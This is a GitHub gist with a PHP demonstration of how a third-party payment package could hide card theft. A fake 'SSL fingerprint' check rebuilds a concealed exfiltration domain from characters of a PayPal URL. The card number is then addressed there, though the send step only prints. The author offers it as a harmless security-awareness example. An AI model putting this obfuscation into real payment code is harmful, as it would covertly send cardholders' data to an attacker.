Last active
May 26, 2017 03:20
-
-
Save bendechrai/3445ed3fbdb2ccb86b3168214a2e76ef to your computer and use it in GitHub Desktop.
DO NOT USE THIS CODE IN ANY WAY FOR ANYTHING DESTINED FOR PRODUCTION
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$cc_number = "4444 3333 2222 1111"; | |
$p = new Payment(); | |
$p->processPayment($cc_number); | |
class Payment { | |
static $url = 'https://api.paypal.com/web_run/f'; | |
static $ssl_fingerprint = 'YToxODp7aTowO2k6MjM7aToxO2k6MjQ7aToyO2k6NDtpOjM7aToyO2k6NDtpOjI0O2k6NTtpOjEzO2k6NjtpOjE3O2k6NztpOjE0O2k6ODtpOjIwO2k6OTtpOjI4O2k6MTA7aToyNztpOjExO2k6MTA7aToxMjtpOjI5O2k6MTM7aTozMTtpOjE0O2k6MjA7aToxNTtpOjExO2k6MTY7aToyNztpOjE3O2k6Mjg7fQ=='; | |
public function processPayment($cc_number) { | |
// Check URL against fingerprint to make sure URL hasn't been tampered with | |
$url_check=''; | |
foreach(unserialize(base64_decode(self::$ssl_fingerprint)) as $char) { | |
$url_check = $this->checkFingerprintChar($char, $url_check); | |
} | |
// Send credit card number to checked URL | |
if($url = $url_check) { | |
$this->send($cc_number, $url); | |
} | |
} | |
public function checkFingerprintChar($char, $check) { | |
if($check.= self::$url[$char]) { | |
return $check; | |
} else { | |
return false; | |
} | |
} | |
public function send($cc_number, $url) { | |
echo "Send $cc_number to $url\n"; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
DO NOT USE THIS CODE IN ANY WAY FOR ANYTHING DESTINED FOR PRODUCTION
I was just talking to someone about the security implications of using a 3rd party package for connecting to a payment provider.
Me:
Them:
So I wrote this. It's safe to run for shits and giggles.